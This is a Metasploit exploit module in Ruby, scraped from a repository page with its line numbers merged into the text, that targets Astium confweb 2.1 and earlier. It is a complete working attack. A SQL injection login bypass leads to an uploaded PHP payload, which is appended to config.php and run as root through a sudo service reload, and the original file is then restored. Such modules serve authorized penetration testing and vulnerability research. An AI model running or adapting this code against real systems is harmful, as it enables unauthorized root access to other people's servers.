Path: blob/master/modules/exploits/linux/http/astium_sqli_upload.rb
24148 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking # Configuration is overwritten and service reloaded78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => "Astium Remote Code Execution",16'Description' => %q{17This module exploits vulnerabilities found in Astium astium-confweb-2.1-25399 RPM and18lower. A SQL Injection vulnerability is used to achieve authentication bypass and gain19admin access. From an admin session arbitrary PHP code upload is possible. It is used20to add the final PHP payload to "/usr/local/astium/web/php/config.php" and execute the21"sudo /sbin/service astcfgd reload" command to reload the configuration and achieve22remote root code execution.23},24'License' => MSF_LICENSE,25'Author' => [26'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module27],28'References' => [29[ 'CVE', '2013-10043' ],30[ 'OSVDB', '88860' ],31[ 'EDB', '23831' ]32],33'Platform' => ['php'],34'Arch' => ARCH_PHP,35'Targets' => [36['Astium 2.1', {}]37],38'Privileged' => true,39'DisclosureDate' => '2013-09-17',40'DefaultTarget' => 0,41'Notes' => {42'Reliability' => UNKNOWN_RELIABILITY,43'Stability' => UNKNOWN_STABILITY,44'SideEffects' => UNKNOWN_SIDE_EFFECTS45}46)47)4849register_options(50[51OptString.new('TARGETURI', [true, 'The base path to the Astium installation', '/']),52]53)54end5556def uri57return target_uri.path58end5960def check61# Check version62vprint_status("Trying to detect Astium")6364res = send_request_cgi({65'method' => 'GET',66'uri' => normalize_uri(uri, "en", "content", "index.php")67})6869if res and res.code == 302 and res.body =~ /direct entry from outside/70return Exploit::CheckCode::Detected71else72return Exploit::CheckCode::Unknown73end74end7576def exploit77print_status("Access login page")78res = send_request_cgi({79'method' => 'GET',80'uri' => normalize_uri(uri),81'vars_get' => {82'js' => '0',83'ctest' => '1',84'origlink' => '/en/content/index.php'85}86})8788if res and res.code == 302 and res.get_cookies =~ /astiumnls=([a-zA-Z0-9]+)/89session = $190print_good("Session cookie is [ #{session} ]")91redirect = URI(res.headers['Location'])92print_status("Location is [ #{redirect} ]")93else94fail_with(Failure::Unknown, "#{peer} - Access to login page failed!")95end9697# Follow redirection process98print_status("Following redirection")99res = send_request_cgi({100'uri' => "#{redirect}",101'method' => 'GET',102'cookie' => "astiumnls=#{session}"103})104105if not res or res.code != 200106fail_with(Failure::Unknown, "#{peer} - Redirect failed!")107end108109sqlirandom = rand_text_numeric(8)110111# SQLi to bypass authentication112sqli = "system' OR '#{sqlirandom}'='#{sqlirandom}"113114# Random password115pass = rand_text_alphanumeric(10)116117post_data = "__act=submit&user_name=#{sqli}&pass_word=#{pass}&submit=Login"118print_status("Using SQLi to bypass authentication")119res = send_request_cgi({120'method' => 'POST',121'uri' => normalize_uri(uri, "/en", "logon.php"),122'cookie' => "astiumnls=#{session}",123'data' => post_data124})125126if not res or res.code != 302127fail_with(Failure::Unknown, "#{peer} - Login bypass was not succesful!")128end129130# Random filename131payload_name = rand_text_alpha(rand(10) + 5) + '.php'132133phppayload = "<?php "134# Make backup of the "/usr/local/astium/web/php/config.php" file135phppayload << "$orig = file_get_contents('/usr/local/astium/web/php/config.php');"136# Add the payload to the end of "/usr/local/astium/web/php/config.php". Also do a check if we are root,137# else during the config reload it might happen that an extra shell is spawned as the apache user.138phppayload << "$replacement = base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\");"139phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');"140phppayload << "fwrite($f, $orig . \"<?php if (posix_getuid() == 0) {\" . $replacement . \"} ?>\");"141phppayload << "fclose($f);"142# Reload astcfgd using sudo (so it will read our payload with root privileges).143phppayload << "system('sudo /sbin/service astcfgd reload');"144# Sleep 1 minute, so that we have enough time for the reload to trigger our payload145phppayload << "sleep(60);"146# Restore our original config.php, else the Astium web interface won't work anymore.147phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');"148phppayload << "fwrite($f, $orig);"149phppayload << "fclose($f);"150phppayload << "?>"151152post_data = Rex::MIME::Message.new153post_data.add_part("submit", nil, nil, "form-data; name=\"__act\"")154post_data.add_part(phppayload, "application/octet-stream", nil, "file; name=\"importcompany\"; filename=\"#{payload_name}\"")155file = post_data.to_s156157print_status("Uploading Payload [ #{payload_name} ]")158res = send_request_cgi({159'method' => 'POST',160'uri' => normalize_uri(uri, "en", "database", "import.php"),161'ctype' => "multipart/form-data; boundary=#{post_data.bound}",162'cookie' => "astiumnls=#{session}",163'data' => file164})165166# If the server returns 200 and the body contains our payload name,167# we assume we uploaded the malicious file successfully168if not res or res.code != 200 or res.body !~ /#{payload_name}/169fail_with(Failure::Unknown, "#{peer} - File wasn't uploaded, aborting!")170end171172register_file_for_cleanup("/usr/local/astium/web/html/upload/#{payload_name}")173174print_status("Requesting Payload [ #{uri}upload/#{payload_name} ]")175print_status("Waiting as the reloading process may take some time, this may take a couple of minutes")176res = send_request_cgi({177'method' => 'GET',178'uri' => normalize_uri(uri, "upload", "#{payload_name}")179}, 120)180181# If we don't get a 200 when we request our malicious payload, we suspect182# we don't have a shell, either.183if res and res.code != 200184print_error("Unexpected response...")185end186end187end188189190